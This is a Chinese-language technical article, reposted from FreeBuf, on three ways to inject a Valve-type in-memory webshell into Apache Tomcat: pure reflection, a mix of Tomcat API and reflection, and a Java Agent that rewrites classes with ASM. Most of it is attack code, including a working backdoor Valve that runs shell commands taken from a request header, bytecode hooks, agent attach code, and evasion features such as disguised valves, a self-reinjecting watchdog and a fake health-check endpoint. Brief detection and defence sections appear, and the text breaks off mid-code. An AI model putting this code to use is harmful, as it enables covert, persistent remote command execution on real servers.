Java内存马——Tomcat Valve型的三种注入

转载自:https://www.freebuf.com/articles/web/433972.html

核心原理

  • **Tomcat Pipeline & Valve:**Tomcat 使用责任链模式处理请求。Pipeline包含多个Valve,每个Valve负责特定任务(如认证、日志、访问控制)。StandardWrapperValve(通常位于链尾) 最终调用 Servlet。
  • **StandardContext:**代表一个 Web 应用,持有其对应的Pipeline对象 (StandardContext#getPipeline())。
  • **目标:**将恶意Valve注入到目标 Web 应用StandardContextPipeline中,通常是插入在StandardContextValve(负责应用级路由) 和StandardWrapperValve(负责调用 Servlet) 之间,或者尽可能靠前(如紧接在AccessLogValve之后)。恶意 Valve 的invoke()方法检查特定请求特征,匹配则执行命令并截断管道(不再调用getNext().invoke()),直接返回响应。

注入方式详解

方式一:纯反射注入(无依赖)

  • 场景:攻击者已通过漏洞(如反序列化、文件上传 Webshell、其他 RCE)获得代码执行能力,但当前执行环境没有 Tomcat 的catalina.jar等库依赖(例如在Bootstrap ClassLoaderCommon ClassLoader加载的类中执行)。这是最通用的方式。

  • 步骤:

    1. 获取当前线程的ContextClassLoader(通常是WebappClassLoader):

      text
      1
      
      ClassLoader webappClassLoader = Thread.currentThread().getContextClassLoader();
    2. 反射获取ApplicationContext(关键):

      • Tomcat 将ApplicationContext存储在WebappClassLoaderresources属性 (org.apache.catalina.webresources.StandardRoot) 的context属性中。
      • 或者通过ClassLoaderresources属性获取WebResourceRoot,再反射获取其context属性。
      text
      1
      2
      3
      4
      5
      6
      7
      8
      
      // 通过 WebappClassLoader 获取 resources (StandardRoot)
      Field resourcesField = webappClassLoader.getClass().getDeclaredField("resources");
      resourcesField.setAccessible(true);
      Object standardRoot = resourcesField.get(webappClassLoader);
      // 通过 StandardRoot 获取 Context (StandardContext)
      Field contextField = standardRoot.getClass().getDeclaredField("context");
      contextField.setAccessible(true);
      Object standardContext = contextField.get(standardRoot); // 这就是目标 StandardContext
    3. 反射获取Pipeline对象:

      text
      1
      2
      
      Method getPipelineMethod = standardContext.getClass().getMethod("getPipeline");
      Object pipeline = getPipelineMethod.invoke(standardContext);
    4. 反射获取addValve方法:

      text
      1
      
      Method addValveMethod = pipeline.getClass().getMethod("addValve", Valve.class);
    5. 构造恶意 Valve 实例:

      • 将恶意 Valve 的字节码(编译后的.class文件内容)转换为byte[](可通过 Class 文件硬编码、远程加载、解码等方式)。
      • 使用当前WebappClassLoaderdefineClass方法(需反射调用)在内存中定义恶意 Valve 类。
      text
      1
      2
      3
      4
      
      // 反射调用 protected final defineClass 方法
      Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
      defineClassMethod.setAccessible(true);
      Class evilValveClass = (Class) defineClassMethod.invoke(webappClassLoader, "com.evil.EvilValve", evilValveBytecode, 0, evilValveBytecode.length);
      • 实例化恶意 Valve:
      text
      1
      
      Valve evilValve = (Valve) evilValveClass.newInstance();
    6. 将恶意 Valve 注入 Pipeline:

      text
      1
      
      addValveMethod.invoke(pipeline, evilValve);
      • 注入位置控制:Tomcat 的addValve默认加在末尾。要插入特定位置(如开头),需反射获取Pipelinevalves数组 (StandardPipeline#valves),使用反射修改数组或调用addValve(Valve, int)(如果存在)。
  • **优点:**通用性强,不依赖 Tomcat API JAR。

  • 缺点:

    • 代码冗长,大量反射操作。
    • 需要处理defineClass的调用(protected方法)。
    • 依赖对 Tomcat 内部结构(WebappClassLoader.resources.context)的准确了解,不同 Tomcat 版本可能有差异。
    • 注入的 Valve 类由WebappClassLoader加载,在堆内存中可见。

方式二:混合方式(利用 Tomcat API & 反射)

  • 场景:攻击者获得的代码执行环境可以访问到 Tomcat 的内部 API(例如,攻击代码本身是由WebappClassLoader加载的,或者通过某些方式将catalina.jar加入了类路径)。常见于从已存在的 Filter/Servlet 型内存马或 JSP Webshell 中进行“二次注入”。

  • 步骤:

    1. 获取StandardContext(更直接):

      • 通过ApplicationContext->ServletContext的属性获取:
      text
      1
      2
      3
      4
      5
      6
      7
      
      ServletContext servletContext = request.getServletContext(); // 如果有 request 对象
      Field applicationContextField = servletContext.getClass().getDeclaredField("context");
      applicationContextField.setAccessible(true);
      Object applicationContext = applicationContextField.get(servletContext);
      Field standardContextField = applicationContext.getClass().getDeclaredField("context");
      standardContextField.setAccessible(true);
      Object standardContext = standardContextField.get(applicationContext);
      • 或者通过org.apache.catalina.core.ApplicationDispatcherWRAP_SAME_OBJECT特性(如果启用)获取lastServicedRequest/lastServicedResponse中的Context(较复杂)。
    2. **获取Pipeline对象:**同方式一。

    3. 构造恶意 Valve 实例:

      • **方式 A (ClassLoader 注入):**同方式一步骤 5,使用WebappClassLoader.defineClass
      • **方式 B (直接实例化 - 更优):**如果能直接访问到恶意 Valve 的类定义(例如,恶意 Valve 类字节码已通过其他方式加载,或者攻击代码直接包含了这个类),可以直接new
      text
      1
      
      Valve evilValve = new com.evil.EvilValve(); // 需要 EvilValve 类在当前 ClassLoader 可见
    4. **注入 Valve:**直接调用StandardPipeline.addValve()方法:

      text
      1
      
      ((StandardPipeline) pipeline).addValve(evilValve);
      • 同样可以通过反射操作valves数组控制注入位置。
  • 优点:

    • 代码相对简洁清晰(减少了反射)。
    • 效率更高。
  • 缺点:

    • 依赖 Tomcat API 环境(需要org.apache.catalina.*类可见)。
    • 如果采用方式 B 构造实例,需要解决如何让EvilValve类被加载的问题(可能仍需defineClass或依赖其他已加载的恶意类)。

方式三:Java Agent + ASM/Javassist 字节码注入(终极隐蔽)

  • 场景:攻击者具备更高权限(如上传 Agent JAR 或利用 Attach API 注入 Agent),追求极致的隐蔽性。目标是不创建新的 Valve 类,而是将恶意逻辑直接编织进 Tomcat 核心类(如StandardPipeline或某个关键 Valve)的字节码中。

  • 步骤:

    1. **注入 Agent:**通过-javaagent启动参数、VirtualMachine.attach()API 或利用已知漏洞加载恶意 Agent Jar。

    2. **实现ClassFileTransformer:**在 Agent 中注册自定义的ClassFileTransformer

    3. **定位并修改目标类:**在transform()方法中,识别目标类(例如org.apache.catalina.core.StandardPipeline):

      text
      1
      2
      3
      
      if ("org.apache.catalina.core.StandardPipeline".equals(className)) {
          // 使用 ASM 或 Javassist 修改字节码
      }
    4. 修改addValveinvoke逻辑 (策略):

      • **策略 A (劫持invoke):**修改StandardPipelineinvoke()方法。在方法内部遍历valves数组之前或某个关键节点(如调用StandardContextValve.invoke()前),插入恶意逻辑:检查请求特征,匹配则执行命令、构造响应并返回(跳过后续 Valve)。
      • **策略 B (伪装成现有 Valve):**修改某个不常用或非关键的现有 Valve 类(如StandardContextValveAccessLogValve)的invoke()方法。在其原有逻辑的开头或结尾插入恶意检查逻辑。
      • **策略 C (创建“幽灵”Valve):**修改StandardPipelineaddValve()方法。使其在特定条件下(例如,添加的 Valve 类名匹配某个特殊模式或 hash)不真正添加该 Valve,而是将其保存到一个隐藏的列表中。同时修改invoke()方法,使其在调用官方valves数组前后,也遍历并调用这个隐藏列表中的“幽灵” Valve。这种方式极其隐蔽,因为常规的Pipeline.valves数组中看不到恶意 Valve。
    5. **字节码操作:**使用 ASM/Javassist 库插入恶意字节码。恶意逻辑通常包含:

      • Request对象获取参数/头/路径。
      • 与预设密码比较。
      • 调用Runtime.exec()ProcessBuilder执行命令。
      • 读取执行结果,写入Response输出流。
      • 根据是否匹配密码,决定是否继续调用原始管道逻辑 (getNext().invoke())。
  • 优点:

    • **终极隐蔽性:**没有新的可疑类 (EvilValve) 被定义和加载。恶意逻辑“溶解”在 Tomcat 官方核心类中。
    • 不依赖WebappClassLoader,应用重启后只要 Agent 仍在就有效(持久化能力强)。
    • 极难通过常规内存 dump 分析发现(需要逐类反编译校验)。
  • 缺点:

    • 实现难度极高,需要深入理解 JVM 字节码和 Tomcat 内部流程。
    • 需要获取 Agent 注入的权限(通常意味着已有较高权限)。
    • 不同 Tomcat 版本的核心类字节码差异较大,需要为不同版本定制或做兼容。
    • Agent 本身的存在可能被检测(JVM 参数、VirtualMachine.list())。

纯反射注入

一、核心原理与目标

  1. 目标:在不引入Tomcat API依赖(catalina.jar等)的情况下,通过纯反射操作:
    • 获取当前Web应用的StandardContext(Tomcat核心容器对象)
    • 定位其Pipeline(请求处理管道)
    • 动态注入恶意Valve实例到管道中
  2. 技术挑战
    • 绕过类加载器隔离(从非Web类加载器访问Web层对象)
    • 通过反射链破解Tomcat内部数据结构
    • 内存中定义恶意Valve类(无磁盘文件)

二、注入流程详解

步骤1:获取WebappClassLoader

text
1
ClassLoader webappClassLoader = Thread.currentThread().getContextClassLoader();
  • 原理:Tomcat为每个Web应用创建独立的WebappClassLoader,当前线程的ClassLoader通常就是它。
  • 注意:在非请求线程(如反序列化触发的线程)中需遍历线程组定位。

步骤2:反射获取StandardContext

这是最核心的步骤,需穿透两层隐藏引用:

text
1
2
3
4
5
6
7
8
9
// 1. 获取WebappClassLoader的resources属性(StandardRoot)
Field resourcesField = webappClassLoader.getClass().getDeclaredField("resources");
resourcesField.setAccessible(true);
Object standardRoot = resourcesField.get(webappClassLoader);

// 2. 获取StandardRoot的context属性(StandardContext)
Field contextField = standardRoot.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object standardContext = contextField.get(standardRoot); // 得到目标StandardContext
  • 关键路径WebappClassLoaderresources(StandardRoot) →context(StandardContext)

步骤3:获取Pipeline对象

text
1
2
Method getPipelineMethod = standardContext.getClass().getMethod("getPipeline");
Object pipeline = getPipelineMethod.invoke(standardContext); // StandardPipeline实例

步骤4:定义恶意Valve类(内存加载)

方案A:硬编码字节码(推荐)

text
1
2
3
4
5
6
7
8
9
// 1. 预编译EvilValve.class并转为字节数组
byte[] evilValveBytecode = Base64.decode("yv66vgAAADQAKgoABwAUBwAVCAAWCgAB...");

// 2. 反射调用ClassLoader.defineClass
Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
    "defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Class<?> evilValveClass = (Class<?>) defineClassMethod.invoke(
    webappClassLoader, "com.evil.EvilValve", evilValveBytecode, 0, evilValveBytecode.length);

方案B:动态生成字节码(ASM/Javassist)

text
1
2
3
4
5
ClassWriter cw = new ClassWriter(0);
cw.visit(Opcodes.V1_8, ACC_PUBLIC, "com/evil/EvilValve", null, "java/lang/Object", new String[]{"org/apache/catalina/Valve"});
// ... 生成invoke()方法字节码 ...
byte[] evilValveBytecode = cw.toByteArray();
// 后续同方案A的defineClass调用

步骤5:实例化并注入Valve

text
1
2
3
4
5
6
7
8
// 实例化恶意Valve
Constructor<?> constructor = evilValveClass.getDeclaredConstructor();
constructor.setAccessible(true);
Object evilValve = constructor.newInstance();

// 获取Pipeline的addValve方法
Method addValveMethod = pipeline.getClass().getMethod("addValve", Valve.class);
addValveMethod.invoke(pipeline, evilValve); // 注入到管道末尾

步骤6(可选):控制注入位置

text
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// 获取Pipeline的valves数组
Field valvesField = pipeline.getClass().getDeclaredField("valves");
valvesField.setAccessible(true);
Valve[] valves = (Valve[]) valvesField.get(pipeline);

// 创建新数组并将恶意Valve插入第二位(紧接AccessLogValve后)
Valve[] newValves = new Valve[valves.length + 1];
System.arraycopy(valves, 0, newValves, 0, 1);    // 保留第一个Valve
newValves[1] = (Valve) evilValve;                // 恶意Valve插入第二位
System.arraycopy(valves, 1, newValves, 2, valves.length - 1);
valvesField.set(pipeline, newValves);
  • 位置策略:插入在StandardContextValve之前(通常索引1)确保捕获所有请求。

三、恶意Valve类实现模板

text
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class EvilValve implements Valve {
    private static final String password = "X-TOKEN"; // 激活密码

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        // 1. 检查激活密码
        String cmd = request.getHeader(password);
        if (cmd == null) {
            getNext().invoke(request, response); // 传递请求
            return;
        }

        // 2. 执行命令并回显
        try {
            String[] cmds = System.getProperty("os.name").contains("win") 
                ? new String[]{"cmd.exe", "/c", cmd} 
                : new String[]{"/bin/sh", "-c", cmd};
            Process p = Runtime.getRuntime().exec(cmds);
            InputStream in = p.getInputStream();
            // ... 读取输出并写入response ...
        } catch (Exception e) {
            response.getWriter().write("ERROR: " + e.getMessage());
        }
    }

    // 其他Valve接口方法(空实现)
    @Override public String getInfo() { return null; }
    @Override public Valve getNext() { return null; }
    @Override public void setNext(Valve valve) {}
    @Override public void backgroundProcess() {}
}

四、技术难点与规避方案

  1. ClassLoader穿透问题

    • 场景:在BootstrapClassLoader中执行(如反序列化漏洞)

    • 方案:通过线程上下文类加载器传递

      text
      1
      
      Thread.currentThread().setContextClassLoader(webappClassLoader);
  2. Tomcat版本兼容性

    • StandardRoot路径变化(Tomcat 8.0+):

      text
      1
      2
      3
      4
      
      // Tomcat 8.5+ 获取StandardContext
      Object resources = webappClassLoader.getResources();
      Method getContextMethod = resources.getClass().getMethod("getContext");
      Object standardContext = getContextMethod.invoke(resources);
  3. 内存马隐身技巧

    • 类名伪装:com.sun.tools.javac.util.Context(仿JDK类)
    • 字节码加密:运行时解密后再defineClass
    • 惰性加载:首次匹配密码时才初始化命令执行逻辑

五、检测与防御手段

检测方案

  1. Heap Dump分析

    text
    1
    2
    3
    
    SELECT * FROM java.lang.Object 
    WHERE toString() LIKE "%StandardContextValve%" 
    AND dominators() INCLUDES $.valves
    • 定位StandardPipeline.valves数组中异常Valve
  2. RASP监控点

    • 拦截ClassLoader.defineClass()调用
    • 监控StandardPipeline.addValve()反射调用栈
    • 检测非初始化阶段新增的Valve
  3. 行为特征检测

    • 请求头包含X-TOKEN等固定标记
    • 无关联页面的HTTP请求返回命令输出

防御措施

text
1
2
<!-- 禁用Context的管道修改 (context.xml) -->
<Context allowPipelineModification="false">
  1. 策略限制

    • 禁止反射调用defineClass()(SecurityManager)
    • 锁定StandardPipeline.valves数组写权限
  2. 运行时加固

    text
    1
    
    -javaagent:rasp_agent.jar=block_unauth_valve

混合方式(利用 Tomcat API & 反射)

一、混合注入的核心优势

  1. 效率与稳定性的平衡
    • 使用Tomcat API直接调用核心方法,减少反射操作
    • 对关键路径使用反射突破访问限制
    • 比纯反射方式更稳定,减少版本兼容问题
  2. 降低检测风险
    • 减少反射调用次数,避免触发RASP的反射监控
    • 直接API调用混入正常业务逻辑中更隐蔽
  3. 开发便利性
    • 代码可读性更高
    • 调试和维护更简单

二、混合注入详细流程

前置条件

  • 已获得执行环境(如通过JSP WebShell或反序列化漏洞)
  • Tomcat API库(catalina.jar)在类路径中可用
  • 当前ClassLoader是WebappClassLoader
text
1
2
3
// 获取当前Web应用的ClassLoader
WebappClassLoader classLoader = 
    (WebappClassLoader) Thread.currentThread().getContextClassLoader();

步骤1:获取StandardContext对象(混合方式)

方法A:通过ServletContext(推荐)

text
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
// 在JSP/Servlet环境中可直接获取request
ServletRequest request = ...; 

// 获取ServletContext
ServletContext servletContext = request.getServletContext();

// 反射获取ApplicationContext
Field appCtxField = servletContext.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext);

// 反射获取StandardContext
Field stdCtxField = appCtx.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx);

方法B:通过ClassLoader(无request时)

text
1
2
3
4
5
6
7
8
// 反射获取WebappClassLoader的resources字段
Field resourcesField = WebappClassLoader.class.getDeclaredField("resources");
resourcesField.setAccessible(true);
StandardRoot standardRoot = (StandardRoot) resourcesField.get(classLoader);

// 直接API调用获取Context
Context context = standardRoot.getContext(); // Tomcat 8.5+
StandardContext standardContext = (StandardContext) context;

步骤2:获取Pipeline对象(直接API)

text
1
2
// 直接调用StandardContext的API方法
Pipeline pipeline = standardContext.getPipeline();

步骤3:创建恶意Valve实例

方法A:动态类定义(无文件落地)

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 定义恶意Valve类(简化版)
public class StealthValve extends ValveBase {
    private static final String TRIGGER_HEADER = "X-Health-Check";
    
    @Override
    public void invoke(Request request, Response response) {
        if (request.getHeader(TRIGGER_HEADER) != null) {
            // 命令执行逻辑...
        }
        getNext().invoke(request, response);
    }
}

// 在内存中编译类(使用Java Compiler API)
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
StandardJavaFileManager fileManager = 
    compiler.getStandardFileManager(null, null, null);

// 动态生成源码
String sourceCode = "..."; // 完整的StealthValve源码
JavaFileObject source = 
    new SimpleJavaFileObject(URI.create("string:///StealthValve.java"), 
        JavaFileObject.Kind.SOURCE) {
        public CharSequence getCharContent(boolean ignoreEncodingErrors) {
            return sourceCode;
        }
    };

// 编译到内存
CompilationTask task = compiler.getTask(null, fileManager, null, null, null, Arrays.asList(source));
task.call();

// 加载编译后的类
Class<?> valveClass = classLoader.loadClass("com.example.StealthValve");
Valve evilValve = (Valve) valveClass.newInstance();

方法B:字节码注入(ASM增强)

text
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// 使用ASM动态生成Valve字节码
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, 
    "com/evil/HealthCheckValve", null, 
    "org/apache/catalina/valves/ValveBase", null);

// 生成invoke方法...
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_PUBLIC, "invoke", 
    "(Lorg/apache/catalina/connector/Request;Lorg/apache/catalina/connector/Response;)V", 
    null, null);
    
// 方法逻辑:检查Header->执行命令->回传结果
mv.visitCode();
// ... 字节码指令 ...
mv.visitEnd();

// 定义类
byte[] bytecode = cw.toByteArray();
Class<?> valveClass = classLoader.defineClass(
    "com.evil.HealthCheckValve", bytecode, 0, bytecode.length);
Valve evilValve = (Valve) valveClass.newInstance();

步骤4:注入Valve到管道(API+反射)

text
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 直接API方式添加Valve
pipeline.addValve(evilValve);

// 调整位置到关键节点(反射操作)
Field valvesField = pipeline.getClass().getDeclaredField("valves");
valvesField.setAccessible(true);
Valve[] valves = (Valve[]) valvesField.get(pipeline);

// 查找StandardContextValve的位置
int targetIndex = -1;
for (int i = 0; i < valves.length; i++) {
    if (valves[i] instanceof StandardContextValve) {
        targetIndex = i;
        break;
    }
}

// 在StandardContextValve前插入
if (targetIndex != -1) {
    Valve[] newValves = new Valve[valves.length + 1];
    System.arraycopy(valves, 0, newValves, 0, targetIndex);
    newValves[targetIndex] = evilValve;
    System.arraycopy(valves, targetIndex, newValves, 
        targetIndex + 1, valves.length - targetIndex);
    valvesField.set(pipeline, newValves);
}

三、高级隐蔽技术

1. Valve伪装技术

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 继承官方Valve类,减少特征
public class AccessLogValveProxy extends AccessLogValve {
    
    private Valve original;
    private Valve malicious;
    
    public AccessLogValveProxy(Valve original) {
        this.original = original;
        this.malicious = createMaliciousValve();
    }
    
    @Override
    public void invoke(Request request, Response response) {
        // 恶意逻辑检查
        if (isMaliciousRequest(request)) {
            malicious.invoke(request, response);
            return;
        }
        // 正常逻辑
        original.invoke(request, response);
    }
    
    // 替换原始Valve
    public static void replaceOriginalValve(Pipeline pipeline) {
        Valve[] valves = pipeline.getValves();
        for (int i = 0; i < valves.length; i++) {
            if (valves[i] instanceof AccessLogValve) {
                valves[i] = new AccessLogValveProxy(valves[i]);
                break;
            }
        }
    }
}

2. 自保护机制

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 在Valve中添加自检和恢复逻辑
public void invoke(Request request, Response response) {
    // 1. 检查自身是否仍在管道中
    if (!isValveInPipeline(this)) {
        reinjectSelf(); // 重新注入
    }
    
    // 2. 检查其他内存马是否存在
    if (!isBackdoorPresent()) {
        deploySecondaryBackdoor(); // 部署备用后门
    }
    
    // 3. 正常恶意逻辑...
}

// 定时检查线程
private void startWatchdog() {
    new Thread(() -> {
        while (true) {
            checkValveStatus();
            checkSecurityTools();
            Thread.sleep(300000); // 5分钟检查一次
        }
    }).start();
}

3. 上下文感知触发

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 基于请求上下文动态激活
private boolean shouldActivate(Request request) {
    // 1. 检查特定Header
    if (request.getHeader("X-Health-Check") != null) return true;
    
    // 2. 检查特殊URL模式
    String uri = request.getRequestURI();
    if (uri.contains(";jsessionid=")) {
        String sessionPart = uri.split(";")[1];
        return validateSessionToken(sessionPart);
    }
    
    // 3. 检查特定Cookie值
    Cookie[] cookies = request.getCookies();
    for (Cookie cookie : cookies) {
        if ("debug_mode".equals(cookie.getName())) {
            return checkCookieSignature(cookie.getValue());
        }
    }
    
    // 4. 时间窗口激活
    long currentTime = System.currentTimeMillis();
    return (currentTime % 60000) < 5000; // 每分钟激活5秒
}

四、检测与防御方案

检测技术

  1. 运行时管道分析

    java
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    
    public void monitorValves() {
        StandardContext ctx = getCurrentContext();
        Pipeline pipeline = ctx.getPipeline();
        Valve[] valves = pipeline.getValves();
    
        for (Valve valve : valves) {
            // 检测未签名的Valve
            if (!isSigned(valve.getClass())) {
                alertSuspiciousValve(valve);
            }
    
            // 检测类加载来源
            if (valve.getClass().getClassLoader() != ctx.getLoader().getClassLoader()) {
                alertForeignClassLoader(valve);
            }
        }
    }
  2. 字节码校验技术

    text
    1
    2
    
    # 使用jvmti代理进行类校验
    java -agentpath:valve_checker.so=org.apache.catalina.core.StandardPipeline ...

防御策略

  1. Tomcat配置加固

    xml
    1
    2
    3
    4
    5
    
    <!-- context.xml -->
    <Context>
      <Valve className="org.apache.catalina.valves.ValveSecurityFilter"
             allowedValves="org.apache.catalina.valves.*" />
    </Context>
  2. 运行时保护机制

    java
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
    public class ValveProtectionAgent {
        public static void premain(String args, Instrumentation inst) {
            inst.addTransformer((loader, className, classBeingRedefined, 
                    protectionDomain, classfileBuffer) -> {
                if ("org/apache/catalina/core/StandardPipeline".equals(className)) {
                    return patchPipelineClass(classfileBuffer);
                }
                return null;
            });
        }
    
        private static byte[] patchPipelineClass(byte[] original) {
            // 使用ASM添加管道修改检查
            ClassReader cr = new ClassReader(original);
            ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
            cr.accept(new PipelineCheckAdapter(cw), 0);
            return cw.toByteArray();
        }
    }
  3. 权限最小化

    text
    1
    2
    3
    
    # 启动脚本添加JVM参数
    -Djava.security.manager \
    -Djava.security.policy=tomcat.policy

    tomcat.policy内容:

    text
    1
    2
    3
    4
    5
    
    grant codeBase "file:${catalina.home}/webapps/yourapp/-" {
        // 禁止Valve修改权限
        permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
        permission java.lang.RuntimePermission "accessClassInPackage.org.apache.catalina.core";
    };

五、混合注入的演进趋势

  1. 模块化加载

    java
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    public void invoke(Request request, Response response) {
        if (isTriggerRequest(request)) {
            // 动态加载加密模块
            byte[] encryptedModule = fetchModule(request.getParameter("m"));
            Object module = loadModule(encryptedModule);
            executeModule(module, request, response);
            return;
        }
        getNext().invoke(request, response);
    }
  2. 云环境适配

    java
    1
    2
    3
    4
    5
    6
    
    // 检测云环境并调整行为
    if (isRunningInCloud()) {
        activateCloudBackdoor();
    } else {
        activateTraditionalBackdoor();
    }
  3. API网关集成

    java
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    
    // 伪装成合法的健康检查端点
    if ("/health".equals(request.getRequestURI())) {
        String action = request.getParameter("action");
        if ("exec".equals(action)) {
            executeCommand(request.getParameter("cmd"));
        } else {
            sendHealthStatus(response); // 返回正常状态
        }
        return;
    }

总结

Tomcat Valve型内存马的混合注入方式代表了当前高级威胁的典型手法:

  1. API与反射的精准结合- 在保持隐蔽性的同时提高可靠性
  2. 上下文感知的攻击逻辑- 基于环境动态调整行为
  3. 多层防御规避- 从类加载到管道操作全面伪装

Agent + ASM/Javassist 字节码注入

一、攻击流程详解

阶段1:Agent注入(JVM渗透)

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// 获取目标Tomcat进程PID
List<VirtualMachineDescriptor> vms = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : vms) {
    if (vmd.displayName().contains("catalina")) {
        String pid = vmd.id();
        
        // 动态加载Agent
        VirtualMachine vm = VirtualMachine.attach(pid);
        vm.loadAgent("/path/to/agent.jar", "injection_params");
        vm.detach();
    }
}

阶段2:Agent核心逻辑

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class EvilAgent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer(new CriticalClassTransformer());
    }
    
    static class CriticalClassTransformer implements ClassFileTransformer {
        private final Set<String> TARGET_CLASSES = Set.of(
            "org.apache.catalina.core.StandardPipeline",
            "org.apache.catalina.core.StandardContextValve",
            "org.apache.catalina.valves.AccessLogValve"
        );

        @Override
        public byte[] transform(ClassLoader loader, String className,
                               Class<?> classBeingRedefined,
                               ProtectionDomain protectionDomain,
                               byte[] classfileBuffer) {
            
            String dotClassName = className.replace('/', '.');
            if (TARGET_CLASSES.contains(dotClassName)) {
                return modifyClass(dotClassName, classfileBuffer);
            }
            return null;
        }
    }
}

二、字节码修改技术(ASM核心实现)

1. StandardPipeline类修改

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private byte[] modifyStandardPipeline(byte[] origBytecode) {
    ClassReader cr = new ClassReader(origBytecode);
    ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_FRAMES);
    
    cr.accept(new ClassVisitor(Opcodes.ASM9, cw) {
        @Override
        public MethodVisitor visitMethod(int access, String name, 
                                        String desc, String signature, 
                                        String[] exceptions) {
            
            MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
            
            // 在invoke方法中植入钩子
            if ("invoke".equals(name) && 
                "(Lorg/apache/catalina/connector/Request;Lorg/apache/catalina/connector/Response;)V".equals(desc)) {
                
                return new MethodVisitor(Opcodes.ASM9, mv) {
                    @Override
                    public void visitCode() {
                        // 在方法开始处插入检测逻辑
                        mv.visitVarInsn(Opcodes.ALOAD, 1);  // 加载Request
                        mv.visitMethodInsn(Opcodes.INVOKESTATIC, 
                                          "com/evil/EmbeddedLogic", 
                                          "checkRequest", 
                                          "(Lorg/apache/catalina/connector/Request;)Z", 
                                          false);
                        
                        Label skipLabel = new Label();
                        mv.visitJumpInsn(Opcodes.IFEQ, skipLabel);
                        
                        // 如果是恶意请求,直接返回
                        mv.visitInsn(Opcodes.RETURN);
                        
                        mv.visitLabel(skipLabel);
                        super.visitCode();
                    }
                };
            }
            return mv;
        }
    }, 0);
    
    return cw.toByteArray();
}

2. 嵌入式恶意逻辑类

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class EmbeddedLogic {
    // 请求检测逻辑
    public static boolean checkRequest(Request request) {
        String trigger = request.getHeader("X-Health-Check");
        if (trigger != null && trigger.startsWith("v1-")) {
            String cmd = trigger.substring(3);
            executeCommand(cmd, request.getResponse());
            return true;
        }
        return false;
    }
    
    // 命令执行逻辑(多平台兼容)
    private static void executeCommand(String cmd, Response response) {
        try {
            String[] commands;
            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                commands = new String[]{"cmd.exe", "/c", cmd};
            } else {
                commands = new String[]{"/bin/sh", "-c", cmd};
            }
            
            Process p = Runtime.getRuntime().exec(commands);
            try (InputStream in = p.getInputStream();
                 PrintWriter writer = response.getWriter()) {
                
                // 流式传输结果
                byte[] buffer = new byte[4096];
                int bytesRead;
                while ((bytesRead = in.read(buffer)) != -1) {
                    writer.write(new String(buffer, 0, bytesRead));
                }
            }
            p.waitFor();
        } catch (Exception e) {
            // 错误处理(不留栈轨迹)
            response.getWriter().write("ERROR: Command execution failed");
        }
    }
}

三、隐蔽性增强技术

1. 幽灵Valve技术

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// 修改StandardPipeline的addValve方法
@Override
public MethodVisitor visitMethod(int access, String name, String desc, 
                                String signature, String[] exceptions) {
    
    if ("addValve".equals(name) && 
        "(Lorg/apache/catalina/Valve;)V".equals(desc)) {
        
        return new MethodVisitor(Opcodes.ASM9, 
            super.visitMethod(access, name, desc, signature, exceptions)) {
            
            @Override
            public void visitCode() {
                // 在添加Valve前进行检查
                mv.visitVarInsn(Opcodes.ALOAD, 1);  // 加载Valve参数
                mv.visitMethodInsn(Opcodes.INVOKESTATIC, 
                                  "com/evil/EmbeddedLogic", 
                                  "isGhostValve", 
                                  "(Lorg/apache/catalina/Valve;)Z", 
                                  false);
                
                Label normalPath = new Label();
                mv.visitJumpInsn(Opcodes.IFEQ, normalPath);
